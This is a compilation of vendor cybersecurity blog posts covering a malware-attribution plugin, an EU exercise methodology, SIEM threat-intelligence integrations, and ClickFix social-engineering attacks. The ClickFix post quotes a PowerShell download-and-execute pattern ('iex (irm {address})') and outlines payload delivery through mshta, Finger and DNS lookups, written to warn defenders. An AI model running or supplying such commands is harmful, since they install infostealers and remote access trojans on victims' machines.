In a previous post, we walked through a practical example of how threat attribution helps in incident investigations. We also introduced the Kaspersky Threat Attribution Engine (KTAE) — our tool for making an educated guess about which specific APT group a malware sample belongs to. To demonstrate it, we used the Kaspersky Threat Intelligence Portal — a cloud-based tool that provides access to KTAE as part of our comprehensive Threat Analysis service, alongside a sandbox and a non-attributing similarity-search tool. The advantages of a cloud service are obvious: clients don’t need to invest in hardware, install anything, or manage any software. However, as real-world experience shows, the cloud version of an attribution tool isn’t for everyone…

First, some organizations are bound by regulatory restrictions that strictly forbid any data from leaving their internal perimeter. For the security analysts at these firms, uploading files to a third-party service is out of the question. Second, some companies employ hardcore threat hunters who need a more flexible toolkit — one that lets them work with their own proprietary research alongside Kaspersky’s threat intelligence. That’s why KTAE is available in two flavors: a cloud-based version and an on-prem deployment.

What are the on-prem KTAE advantages over the cloud version?

First off, the local version of KTAE ensures an investigation stays fully confidential. All the analysis takes place right in the organization’s internal network. The threat intelligence source is a database deployed inside the company perimeter; it is packed with the unique indicators and attribution data of every malicious sample known to our experts; and it also contains the characteristics pertaining to legitimate files to exclude false-positive detections. The database gets regular updates, but it operates one-way: no information ever leaves the client’s network.

Additionally, the on-prem version of KTAE gives experts the ability to add new threat groups to the database and link them to malware samples they discovered on their own. This means that subsequent attribution of new files will account for the data added by internal researchers. This allows experts to catalog their own unique malware clusters, work with them, and identify similarities.

Here’s another handy expert tool: our team has developed a free plugin for IDA Pro, a popular disassembler, for use with the local version of KTAE.

What’s the purpose of an attribution plugin for a disassembler?

For a SOC analyst on alert triage, attributing a malicious file found in the infrastructure is straightforward: just upload it to KTAE (cloud or on-prem) and get a verdict, like Manuscrypt (83%). That’s sufficient for taking adequate countermeasures against that group’s known toolkit and assessing the overall situation. A threat hunter, however, might not want to take that verdict at face value. Alternatively, they might ask, “Which code fragments are unique across all the malware samples used by this group?” Here an attribution plugin for a disassembler comes in handy.

Inside the IDA Pro interface, the plugin highlights the specific disassembled code fragments that triggered the attribution algorithm. This doesn’t just allow for a more expert-level deep dive into new malware samples; it also lets researchers refine attribution rules on the fly. As a result, the algorithm — and KTAE itself — keeps evolving, making attribution more accurate with every run.

How to set up the plugin

The plugin is a script written in Python. To get it up and running you need IDA Pro. Unfortunately, it won’t work in IDA Free, since it lacks support for Python plugins. If you don’t have Python installed yet, you’d need to grab that, set up the dependencies (check the requirements file in our GitHub repository), and make sure IDA Pro environment variables are pointing to the Python libraries.

Next, you’d need to insert the URL for your local KTAE instance into the script body and provide your API token (which is available on a commercial basis) — just like it’s done in the example script described in the KTAE documentation.

Then you can simply drop the script into your IDA Pro plugins folder and fire up the disassembler. If you’ve done it right, then, after loading and disassembling a sample, you’ll see the option to launch the Kaspersky Threat Attribution Engine (KTAE) plugin under Edit → Plugins:

How to use the plugin

When the plugin is installed, here’s what happens under the hood: the file currently loaded in IDA Pro is sent via API to the locally installed KTAE service, at the URL configured in the script. The service analyzes the file, and the analysis results are piped right back into IDA Pro.

On a local network, the script usually finishes its job in a matter of seconds (the duration depends on the connection to the KTAE server and the size of the analyzed file). Once the plugin wraps up, a researcher can start digging into the highlighted code fragments. A double-click leads straight to the relevant section in the assembly or binary code (Hex view) for analysis. These extra data points make it easy to spot shared code blocks and track changes in a malware toolkit.

To learn more about the Kaspersky Threat Attribution Engine and how to deploy it, check out the official product documentation. And to arrange a demonstration or piloting project, please fill out the form on the Kaspersky website.

Kaspersky official blog – ​Read More

The European Union Agency for Cybersecurity (ENISA) released its updated cybersecurity exercise methodology, providing organizations and governments across Europe with a structured framework for planning, executing, and evaluating cybersecurity exercises. Designed to be both practical and theoretically robust, this methodology offers an end-to-end approach to enhancing preparedness against cyber threats while ensuring alignment with major European regulations, including NIS2 and the EU Cybersecurity Act. 

The Purpose of a Cybersecurity Exercise Methodology 

The ENISA methodology serves as a blueprint for organizations seeking to strengthen their cyber resilience. It is specifically crafted for cybersecurity professionals, organizational planners, and government entities aiming to: 

• Understand the intricacies of organizing and planning cybersecurity exercises. 

• Evaluate current cyberattack response capabilities. 

• Demonstrate the strategic importance of exercises to senior management. 

• Test operational skills, incident response procedures, and regulatory compliance. 

By offering a combination of theoretical insights, lessons learned from past exercises, and industry best practices, ENISA equips planners with a framework that ensures the right stakeholders and expertise are involved at the appropriate stages. This framework is complemented by a practical support toolkit containing templates, checklists, and guiding materials to streamline the planning process. 

Aligning with European Standards and Regulations 

The methodology is intentionally designed to be flexible while maintaining compliance with established standards such as ISO 22398:2013 and ISO 22361:2022. Its alignment with European regulations, including NIS2, the EU Cybersecurity Act, the Cyber Resilience Act, the Digital Operational Resilience Act, and the GDPR, ensures that exercises do not simply simulate threats but also test an organization’s regulatory readiness. This dual focus on operational effectiveness and compliance is increasingly vital in a landscape where cyberattacks can have both technical and legal consequences. 

Core Principles of the ENISA Methodology 

The ENISA cybersecurity exercise methodology rests on several foundational principles: 

1. Structured Planning: Exercises follow a systematic, user-friendly process covering all dimensions from compliance to operational execution. 

2. Capacity Building: Organizations can identify skill gaps, procedural weaknesses, and technological vulnerabilities through clear, measurable objectives. 

3. Flexibility: The methodology adapts to organizational maturity, exercise complexity, and scale, supporting both national-level and sector-specific simulations. 

4. Resource Ecosystem: Planners gain access to templates, checklists, and guidance aligned with the European Cybersecurity Skills Framework (ECSF), which defines 12 standard professional cybersecurity roles across the EU. 

5. Community Collaboration: ENISA maintains a network of workshops and expert forums, ensuring knowledge exchange and continual evolution of the methodology. 

Phases and Practical Components 

ENISA’s approach divides a cybersecurity exercise into six critical phases, guiding organizations from conceptualization to post-exercise evaluation. Each phase is supplemented by the support toolkit to ensure exercises are realistic, actionable, and aligned with organizational goals. Key components include: 

• Exercise Plan: Serves as the blueprint, detailing objectives, logistics, timelines, roles, and scope. This ensures that every participant understands their responsibilities and expected outcomes. 

• Evaluation Plan: Defines capability targets, evaluator roles, assessment tools, and timelines for before, during, and after the exercise. 

• Communications Plan: Establishes channels and protocols to ensure stakeholders remain informed and engaged throughout the exercise lifecycle. 

• Master Scenario Event List (MSEL): Provides a sequenced structure of events, incidents, and injects to simulate cyber crises in a controlled environment. 

• After-Action Report (AAR): Captures findings, lessons identified, recommendations, and performance metrics to inform continuous improvement. 

Real-World Implications 

Organizations that adopt the ENISA methodology gain measurable benefits. Structured planning reduces preparation time and prevents common oversights, while the evaluation framework helps translate exercise outcomes into actionable improvements. By integrating the methodology with NIS2 and the EU Cybersecurity Act, planners can also demonstrate compliance with regulators and build internal confidence in cyber readiness. 

Furthermore, the methodology encourages a culture of continuous improvement. Lessons identified in one exercise feed directly into future scenarios, enhancing resilience over time. The support from ENISA’s workshops and expert community ensures that even complex national-level exercises can draw on shared expertise and practical insights. 

The ENISA cybersecurity exercise methodology is more than a theoretical guide; it is a practical framework that empowers organizations to prepare and respond to cyber threats systematically. Its integration with the EU Cybersecurity Act, NIS2, and other EU directives ensures exercises serve both operational and regulatory objectives. By combining structured planning, flexible execution, and a supportive community ecosystem, ENISA enables organizations to strengthen cyber resilience, improve regulatory compliance, and continuously evolve their cybersecurity posture. 

References: 

• https://www.enisa.europa.eu/publications/the-enisa-cybersecurity-exercise-methodology 

The post ENISA’s Updated Cybersecurity Methodology Aligns with NIS2 and EU Cybersecurity Act appeared first on Cyble.

Cyble – ​Read More

Security teams don’t lack alerts, they lack fast, reliable context for decision-making. When threat analysis and intelligence are not an integrated part of the SOC workflow, investigations slow down, MTTR grows, and the risk of missed incidents increases. Adding behavioral analysis and live intelligence directly into SIEM closes this gap, turning monitoring, triage, and response into faster, higher-ROI processes.

That’s exactly how ANY.RUN‘s integration with Splunk Enterprise brings value to security teams. 

ANY.RUN & Splunk Enterprise: About the Integration 

The ANY.RUN integration embeds behavioral analysis and live threat intelligence directly into Splunk Enterprise as native data sources.  

Integrate ANY.RUN in your Splunk environment now → 

Instead of exporting reports or attaching external files, analysis results and intelligence data are ingested as structured Splunk events. This allows them to be searched, correlated, visualized, and used in alerts and dashboards using standard SIEM mechanisms. 

The integration helps SOC teams: 

• Boost triage quality of suspicious URLs with sandbox analysis: Behavioral verdicts inside Splunk help analysts make faster, evidence-based decisions, reducing MTTR and lowering the risk of missed threats. 

• Accelerate alert validation with context enrichment: Instant IOC context speeds up prioritization, shortens investigation time per alert, and reduces operational overhead. 

• Expand threat coverage with actionable intel: Fresh, verified malicious IPs, domains, and URLs strengthen correlation rules, improve MTTD, and reduce blind spots in detection. 

• Improve SOC reporting & visibility: Dashboards built on sandbox submissions, verdict trends, enriched indicators, and campaign tags help SOC managers monitor workload, track investigation efficiency, and measure detection performance over time. 

• Meet SLAs and KPIs: For MSSP teams, the integration helps fix triage and response inefficiencies, manage a larger load of alerts without scaling the team, and deliver consistent results to more clients. 

All components are designed to work inside existing SOC workflows. No separate consoles, no manual data transfer, no parallel processes. 

As a result, malware analysis and threat enrichment become part of detection logic and investigation pipelines, not side tasks handled outside the SIEM. 

ANY.RUN Sandbox: Improve Triage, Detect More Phishing Attacks 

The ANY.RUN Interactive Sandbox integration allows security teams to submit suspicious URLs directly from Splunk for analysis and receive structured results as native Splunk events. 

Returned data includes verdict, risk score, extracted indicators, and a direct link to the full analysis session for deeper investigation. These results can immediately participate in correlation searches, alerts, dashboards, and response workflows inside the SIEM. 

• Faster MTTR: Sandbox verdicts appear directly in Splunk, helping teams move from alert to containment faster. 

• Higher detection rate of evasive attacks: Full behavioral execution increases the chance of catching threats that static checks miss. 

• More cases closed by Tier 1 analysts: Clear, evidence-based verdicts allow junior analysts to confidently resolve more alerts without waiting for higher tiers. 

• Lower false negative rate: Behavioral analysis reduces the risk of incorrectly closing alerts that later turn into confirmed incidents. 

These improvements translate into lower investigation costs, fewer missed incidents, and more predictable incident response performance, with a 21-minute reduction in MTTR per case. 

Practical Use Case: URL Analysis from SIEM Events 

When a suspicious URL appears in a Splunk event, analysts can submit it directly to the ANY.RUN Sandbox. The analysis verdict returns as a native Splunk event and immediately participates in correlation, investigation, and response workflows. 

ANY.RUN TI Lookup: Identify and Prioritize Critical Risks Faster 

The ANY.RUN Threat Intelligence Lookup integration enables on-demand enrichment of IPs, domains, URLs, and file hashes directly inside Splunk. The intelligence is sourced from millions of malware & phishing investigations done manually by 15,000+ SOC teams and 600,000+ analysts inside ANY.RUN’s Interactive Sandbox. 

Enrichment results are returned as structured Splunk events, including verdict, industry targeting, last seen data, tags, and a direct link to detailed intelligence in the ANY.RUN interface. This data can be searched, correlated, visualized, and incorporated into alerting logic using native SIEM capabilities. 

• Faster triage decisions: Near-instant access to past analyses confirms whether an IOC is linked to real malicious activity, significantly reducing triage time. 

• Smarter response actions: Behavioral context and mapped TTPs help teams choose more precise containment steps instead of reacting blindly. 

• Fewer Tier 2 escalations: Tier 1 analysts receive enough context to make confident decisions independently, reducing internal bottlenecks. 

• Stronger detection logic: Enrichment data becomes searchable and reusable in correlation rules, improving detection accuracy without adding new tools. 

As a result, teams improve SLA adherence, reduce average investigation time per alert, and strengthen detection accuracy with 58% more threats identified overall.  

This leads to faster response, better use of existing security investments, and lower exposure to sector-specific attacks. 

Practical Use Case: IOC Enrichment During Investigation 

While reviewing an incident, analysts can enrich IPs, domains, URLs, or file hashes using TI Lookup. The contextual result is stored as a Splunk event, reducing manual research and accelerating decision-making. 

ANY.RUN TI Feeds: Strengthen Defense Against Emerging Threats 

The ANY.RUN Threat Intelligence Feeds integration continuously streams verified malicious network indicators (IPs, domains, URLs) into Splunk, sourced from live sandbox analyses of real-world attacks across 15,000+ organizations. 

Indicators delivered via ANY.RUN TI Feeds are stored in Splunk’s Key-Value Store (KV Store), making them searchable, filterable, and immediately usable in correlation rules, dashboards, and alerting workflows.  

TI Feeds contain 99% unique malicious infrastructure not present in other intelligence sources. 

• Earlier detection of emerging threats: Indicators are added to feeds as soon as they appear in live sandbox investigations, helping SOC teams identify new campaigns faster and reduce MTTD. 

• Wider threat coverage: A high share of globally observed, unique malicious infrastructure improves visibility into phishing and malware activity that traditional feeds often miss. 

• Reduced Tier 1 workload: Indicators are filtered for malicious activity, decreasing false positives and cutting investigation time spent on low-value alerts. 

• Detection that scales automatically: Continuous feed updates strengthen correlation rules over time without requiring manual tuning or additional staffing. 

This improves MTTD, reduces false positive rates, and increases detection rate by 36% on average.  

For the business, that means lower breach probability, reduced operational disruption, and better return on existing SIEM investments as the environment grows. 

Practical Use Case: Threat Correlation with Fresh IOCs 

ANY.RUN’s TI Feeds continuously supply verified malicious infrastructure into Splunk. Detection rules can automatically correlate incoming events against fresh indicators, increasing detection accuracy and reducing blind spots. 

How to Integrate ANY.RUN in Splunk Enterprise 

The ANY.RUN integrations are available for installation via Splunkbase. Security teams can find and deploy the add-ons directly from the Splunk app marketplace by searching for “ANY.RUN,” enabling fast deployment without complex configuration or custom development. 

Conclusion 

By embedding sandbox analysis, live enrichment, and verified malicious infrastructure directly into Splunk, ANY.RUN helps SOC teams triage faster, prioritize more accurately, and improve detection logic. The result is lower MTTR, fewer missed incidents, and stronger protection without increasing operational complexity. 

About ANY.RUN 

Trusted by 600,000+ cybersecurity professionals and 15,000+ organizations across critical industries, including 64% of Fortune 500 companies, ANY.RUN helps security teams detect and investigate threats faster. 

Our Interactive Sandbox provides real-time behavioral analysis of suspicious files and URLs, enabling confident triage and response. 

Threat Intelligence Lookup and Threat Intelligence Feeds deliver live, verified threat data that strengthens detection and improves prioritization. 

By embedding analysis and intelligence into daily SOC workflows, ANY.RUN helps organizations reduce response time, lower operational costs, and minimize security risk. 

Request access to ANY.RUN’s solutions for your team → 

FAQ

The post ANY.RUN & Splunk Enterprise: Stronger Detection, Faster Response in Your SOC appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

About a year ago, we published a post about the ClickFix technique, which was gaining popularity among attackers. The essence of attacks using ClickFix boils down to convincing the victim, under various pretexts, to run a malicious command on their computer. That is, from the cybersecurity solutions point of view, it’s run on behalf of the active user and with their privileges.

In early uses of this technique, cybercriminals tried to convince victims that they need to execute a command to fix some problem or to pass a captcha, and in the vast majority of cases, the malicious command was a PowerShell script. However, since then, attackers have come up with a number of new tricks that users should be warned about, as well as a number of new variants of malicious payload delivery, which are also worth keeping an eye on.

Use of mshta.exe

Last year, Microsoft experts published a report on cyberattacks targeting hotel owners working with Booking.com. The attackers sent out fake notifications from the service, or emails pretending to be from guests drawing attention to a review. In both cases, the email contained a link to a website imitating Booking.com, which asked the victim to prove that they were not a robot by running a code via the Run menu.

There are two key differences between this attack and ClickFix. First, the user isn’t asked to copy the string (after all, a string with code sometimes arouses suspicion). It’s copied to the exchange buffer by the malicious site – probably when the user clicks on a checkbox that mimics the reCAPTCHA mechanism. Second, the malicious string calls the legitimate mshta.exe utility, which serves to run applications written in HTML. It contacts the attackers’ server and executes the malicious payload.

Video on TikTok and PowerShell with administrator privileges

BleepingComputer published an article in October 2025 about a campaign spreading malware through instructions in TikTok videos. The videos themselves imitate video tutorials on how to activate proprietary software for free. The advice they give boils down to a need to run PowerShell with administrator rights and then execute the command iex (irm {address}). Here, the irm command downloads a malicious script from a server controlled by attackers, and the iex (Invoke-Expression) command runs it. The script, in turn, downloads an infostealer malware to the victim’s computer.

Using the Finger protocol

Another unusual variant of the ClickFix attack uses the familiar captcha trick, but the malicious script uses the outdated Finger protocol. The utility of the same name allows anyone to request data about a specific user on a remote server. The protocol is rarely used nowadays, but it is still supported by Windows, macOS, and a number of Linux-based systems.

The user is persuaded to open the command line interface and use it to run a command that establishes a connection via the Finger protocol (using TCP port 79) with the attackers’ server. The protocol only transfers text information, but this is enough to download another script to the victim’s computer, which then installs the malware.

CrashFix variant

Another variant of ClickFix differs in that it uses more sophisticated social engineering. It was used in an attack on users trying to find a tool to block advertising banners, trackers, malware, and other unwanted content on web pages. When searching for a suitable extension for Google Chrome, victims found something called NexShield – Advanced Web Guardian, which was in fact a clone of real working software, but which at some point crashed the browser and displayed a fake notification about a detected security problem and the need to run a “scan” to fix the error. If the user agreed, they received instructions on how to open the Run menu and execute a command that the extension had previously copied to the clipboard.

The command copied the familiar finger.exe file to a temporary directory, renamed it ct.exe, and then launched it with the attacker’s address. The rest of the attack was the same as in the abovementioned case. In response to the Finger protocol request, a malicious script was delivered, which launched and installed a remote access Trojan (in this case, ModeloRAT).

Malware delivery via DNS lookup

The Microsoft Threat Intelligence team also shared a slightly more complex than usual ClickFix attack variant. Unfortunately, they didn’t describe the social engineering trick, but the method of delivering the malicious payload is quite interesting. Probably in order to complicate detection of the attack in a corporate environment and prolong the life of the malicious infrastructure, the attackers used an additional step: contacting a DNS server controlled by the attackers.

That is, after the victim is somehow persuaded to copy and execute a malicious command, a request is sent to the DNS server on behalf of the user via the legitimate nslookup utility, requesting data for the example.com domain. The command contained the address of a specific DNS server controlled by the attackers. It returns a response that, among other things, returned a string with malicious script, which in turn downloads the final payload (in this attack, ModeloRAT again).

Cryptocurrency bait and JavaScript as payload

The next attack variant is interesting for its multi-stage social engineering. In comments on Pastebin, attackers actively spread a message about an alleged flaw in the Swapzone.io cryptocurrency exchange service. Cryptocurrency owners were invited to visit a resource created by fraudsters, which contained full instructions on how to exploit this flaw, which can make up to $13,000 in a couple of days.

The instructions explain how the service’s flaws can be exploited to exchange cryptocurrency at a more favorable rate. To do this, a victim needs to open the service’s website in the Chrome browser, manually type “javascript:” in the address bar, and then paste the JavaScript script copied from the attackers’ website and execute it. In reality, of course, the script cannot affect exchange rates in any way; it simply replaces Bitcoin wallet addresses and, if the victim actually tries to exchange something, transfers the funds to the attackers’ accounts.

How to protect your company from ClickFix attacks

The simplest attacks using the ClickFix technique can be countered by blocking the [Win] + [R] key combination on work devices. But, as we see from the examples listed, this is far from the only type of attack in which users are asked to run malicious code themselves.

Therefore, the main advice is to raise employee cybersecurity awareness. They must clearly understand that if someone asks them to perform any unusual manipulations with the system, and/or copy and paste code somewhere, then in most cases this is a trick used by cybercriminals. Security awareness training can be organized using the Kaspersky Automated Security Awareness Platform.

In addition, to protect against such cyberattacks, we recommend:

• Using reliable protection on all corporate devices.
• Monitoring suspicious activity on the company network using an XDR solution.
• If internal resources are insufficient, using an external service to detect threats and respond to them promptly.

Kaspersky official blog – ​Read More

Threat monitoring is treated as one capability among many. Something that sits alongside incident response and threat hunting on an org chart. That framing undersells how central it actually is. 

Monitoring is the connective tissue of the entire security operation. Every other SOC function depends on it working well. 

For SOC and MSSP leaders, building effective threat monitoring is not about “more alerts.” It is about designing the core process that connects detection, triage, hunting, response, intelligence, reporting, and ultimately business resilience. 

Key Takeaways 

• Threat monitoring is structural, not supplemental. Every core SOC workflow (triage, threat hunting, forensics, vuln management, MSSP SLA delivery) depends on monitoring quality. Weaknesses propagate everywhere. 

• More alerts do not equal better visibility. Context and prioritization define effectiveness. 

• Inefficient monitoring increases business risk. Missed early-stage attacks lead to higher remediation costs and regulatory exposure. Dwell time reduction translates directly to breach loss reduction. 

• Intelligence must be operationalized, not stored. Threat intelligence only creates value when embedded into monitoring workflows. 

• Behavior-backed indicators outperform static IOC lists. Fresh, validated data improves detection accuracy and reduces false positives. 

• Monitoring should reflect business risk, not system capabilities. Crown-jewel assets and regulatory drivers must shape detection priorities. 

• Enhanced monitoring directly supports executive-level objectives. Faster detection, lower incident impact, and measurable performance strengthen board confidence. 

 
Threat Monitoring: Not a Feature But the Foundation

Consider how the core workflows intersect with monitoring: 

• Detection engineering: Monitoring consumes detection rules and reveals where they fail. 

• Alert triage and incident response cannot function without a continuous stream of prioritized, contextualized signals. When monitoring is weak — too noisy, too narrow, or too slow — analysts drown in false positives or miss real incidents entirely. Neither outcome is tolerable. 

• Vulnerability management and patch prioritization increasingly depend on live threat intelligence to decide what gets fixed first.  

• Even threat hunting is informed by monitoring outputs: analysts use baseline behavioral data, detection gaps, and historical alert patterns to define their hunting hypotheses.  

• Digital forensics and incident investigation rely on monitoring having captured enough data — the right logs, network flows, endpoint telemetry — to reconstruct attack timelines after the fact.  

• MSSP client reporting and SLA management live and die by monitoring quality. When clients ask “are we covered against this new ransomware family?”, the answer depends entirely on whether detection rules exist, whether indicators are up to date, and whether the monitoring stack is generating meaningful signal. 

This is why threat monitoring must be treated as a first-class, continuously maintained operational capability, not a set-and-forget configuration. 

Signal vs. Noise: The Battle That Defines Your SOC 

Effective threat monitoring is: 

• Context-rich rather than alert-dense; 

• Intelligence-driven rather than purely rule-based; 

• Adaptive rather than static; 

• Prioritized by risk rather than by volume; 

• Aligned with business-critical assets rather than generic telemetry. 

How to tell if your monitoring works at its best? Ask these questions: 

• Does it consistently reduce mean time to detect (MTTD)? 

• Are high-risk alerts surfaced early, or buried in noise? 

• Do detections map to real-world adversary behavior? 

• Is intelligence automatically operationalized, or manually researched? 

• Does monitoring adapt when new campaigns emerge? 

If analysts spend most of their time enriching alerts manually, chasing false positives, or investigating low-impact noise, monitoring is underperforming. Inefficient monitoring does more than exhaust analysts. It leads to delayed breach discovery, higher remediation costs, and regulatory exposure. Leadership questions investment, and security becomes reactive instead of strategic. 

Powering Monitoring with Real-World Adversary Data

That’s where the separation between reactive and proactive monitoring happens. Threat intelligence — continuously updated, high-fidelity data on active threats — transforms a monitoring program from one that reacts to known indicators to one that anticipates emerging attack patterns. 

The mechanism is straightforward: if your monitoring infrastructure receives a live stream of newly identified malicious IPs, domains, and URLs extracted from real attacks happening right now, your detection coverage extends beyond what your own environment has encountered.  

ANY.RUN operates one of the world’s largest interactive malware analysis sandboxes, used by over 600,000 security professionals and SOC teams from more than 15,000 organizations globally.  

View a sandbox analysis example 

Here Interactive Sandbox exposes the attack chain and infrastructure of Moonrise – a RAT recently discovered by ANY.RUN’s analysts.   

Every analysis session generates structured threat data — IOCs, IOAs (Indicators of Attack), IOBs (Indicators of Behavior), and TTPs mapped to the MITRE ATT&CK framework. ANY.RUN’s Threat Intelligence Feeds channel that data directly into customers’ detection infrastructure in real time. 
 
This creates a network effect with genuine security value: organizations that were the first to face incidents help others anticipate and prevent them. In a documented case, Interlock ransomware targeting healthcare organizations appeared in ANY.RUN’s data nearly a month before the first public threat reports, giving subscribers time to build detections and harden defenses while most of the industry was still unaware. 

Operational Benefits 

• Faster enrichment during alert triage; 

• Improved detection accuracy; 

• Reduced false positives; 

• Early identification of active campaigns; 

• Support for proactive threat hunting. 

Instead of simply adding more indicators, these feeds strengthen the connective tissue between intelligence and monitoring workflows. Monitoring becomes intelligence-infused rather than indicator-overloaded.

Integration: Minimal Friction, Maximum Compatibility 

ANY.RUN delivers Threat Intelligence Feeds in the STIX/TAXII format, making it straightforward for security teams to integrate the data into their existing infrastructure — including popular platforms like OpenCTI and ThreatConnect and solutions like Microsoft Sentinel and Google SecOps. The standardized format means integration with existing SIEM, TIP, IDS/IPS, and EDR platforms is achievable without custom development work. 

API access and SDK support allow teams to automate indicator ingestion and build custom workflows around the data. For MSSPs managing multiple client environments, this integration flexibility is essential — feed data can be channeled into per-client SIEM instances with consistent formatting and attribution.

ANY.RUN’s TI Lookup: The Investigative Layer That Makes Feed Intelligence Actionable 

TI Feeds solve the automation problem: keeping your SIEM and detection rules continuously stocked with validated, current indicators. But automated ingestion has a natural limit. When an analyst needs to understand why an indicator is malicious, how the associated malware behaves, what else in the environment may be connected, and whether this alert is part of a larger campaign — a feed delivering STIX records into a detection platform cannot answer those questions on its own. That is where Threat Intelligence Lookup completes the picture. 

TI Lookup is a database queryable through both a web interface and an API that surfaces IOCs, IOAs, IOBs, and TTPs extracted from millions of sandbox analysis sessions. Searches can be run against URLs, TTPs, file paths, command lines, process behaviors, registry activity, network connections, port numbers, JA3/JA3S TLS fingerprints, Suricata rule IDs, and more.  

This means an analyst isn’t limited to checking a hash or IP address against a known-bad list; they can search for behavioral patterns, specific command-line strings observed in active malware, or infrastructure characteristics. 
 
registryKey:”CurrentVersion\Schedule” AND registryValue:”.exe” 

In this example, we can identify threats that aim to execute malicious code through scheduled tasks. 
 
The workflow goes in the other direction too. Proactive threat hunting using TI Lookup — searching for TTPs or behavioral patterns associated with a threat actor targeting the organization’s industry — can surface indicators that have not yet appeared in automated feeds. Those indicators can then be manually added to detection rules, extending the monitoring program’s coverage before a feed update would have caught them. 

Monitoring That Speaks the Language of the Board 

The operational case for investing in threat monitoring is clear. The business case is sometimes harder to communicate — but it is just as strong.  

Risk Reduction That Translates to Financial Terms 

The cost of a breach scales with dwell time. Every day an attacker remains undetected in a network is another day of potential data exfiltration, lateral movement, and preparation for a destructive payload. Monitoring that cuts dwell time from 120 days to 5 days is not just an operational improvement. It is a material reduction in breach severity and cost. For organizations in regulated industries, it is also a meaningful factor in whether a regulatory notification obligation is triggered and whether a fine is proportionate. 

Meeting SLAs and Client Expectations 

For MSSPs, detection speed and coverage breadth are effectively product features. Clients sign contracts expecting that known threats will be detected and responded to within defined timeframes. TI Feeds that update continuously with indicators from active threats extend the detection surface without requiring proportional growth in headcount.  

Enabling SOC Efficiency 

Analyst time is expensive and scarce. When monitoring is well-designed (contextual, high-fidelity, and supported by rich threat intelligence) analysts spend more time on decisions and less time on manual enrichment, alert validation, and IOC lookups. The triage process shortens. MTTR decreases. The SOC can handle more volume with the same team, or the same volume with better quality of investigation. 

Demonstrating Proactive Security Posture to the Board 

Security leaders increasingly need to demonstrate not just that they respond well to incidents, but that they are actively working to prevent them. Monitoring informed by real-time threat intelligence that detects and blocks indicators of a major ransomware group weeks before public disclosure is a compelling proof point in that conversation. It shifts the narrative from incident response to threat prevention, which is where business leadership wants security programs to operate. 

Conclusion: The Standard for Monitoring Has Changed 

The threat landscape that SOC and MSSP teams operate in today is faster-moving, better-resourced, and more creative than it was even three years ago. Monitoring built for a previous era of threat activity will fail against current adversary techniques. 

Effective threat monitoring in 2026 and beyond requires more than log aggregation and static detection rules. It requires continuous intelligence input from real attack data, behavioral detection that doesn’t depend on known signatures, and the operational discipline to keep detection logic current as threats evolve. 

ANY.RUN’s Threat Intelligence Feeds represent one of the most direct paths to that standard: validated, contextualized, continuously updated IOCs and behavioral indicators sourced from millions of real malware analysis sessions, integrated directly into the security stack.  

About ANY.RUN 

ANY.RUN is part of modern SOC workflows, integrating easily into existing processes and strengthening the entire operational cycle across Tier 1, Tier 2, and Tier 3.   

It supports every stage of investigation, from exposing real behavior during safe detonation, to enriching analysis with broader threat context, and delivering continuous intelligence that helps teams move faster and make confident decisions.   

Today, more than 600,000 security professionals and 15,000 organizations rely on ANY.RUN to accelerate triage, reduce unnecessary escalations, and stay ahead of evolving phishing and malware campaigns.   

To stay informed about newly discovered threats and real-world attack analysis, follow ANY.RUN’s team on LinkedIn and X, where weekly updates highlight the latest research, detections, and investigation insights. 

FAQ 

The post Turn Your SOC Into a Detection Engine: Rethinking Threat Monitoring appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More